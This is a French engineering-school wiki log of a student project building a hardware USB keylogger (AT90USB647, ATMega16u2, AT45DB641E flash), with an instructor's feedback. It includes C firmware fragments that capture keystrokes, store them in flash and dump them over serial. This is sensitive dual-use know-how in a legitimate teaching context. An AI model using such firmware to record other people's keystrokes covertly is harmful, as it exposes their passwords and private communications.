ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[7];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[7];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0; byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)&lt;br /&gt;
				{&lt;br /&gt;
					// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
					// 	Data_to_Send[k] = data[byte + k];&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += 7)&lt;br /&gt;
			{&lt;br /&gt;
				// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
				// 	Data_to_Send[k] = flash_buffer[byte + k];&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_sch%C3%A9ma_connexion_uP.png&amp;diff=844</id>
		<title>Fichier:Keylogger schéma connexion uP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_sch%C3%A9ma_connexion_uP.png&amp;diff=844"/>
		<updated>2023-08-15T07:28:01Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Schéma décrivant les connexions des broches entres microcontrôleurs&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=840</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=840"/>
		<updated>2023-08-14T20:21:44Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
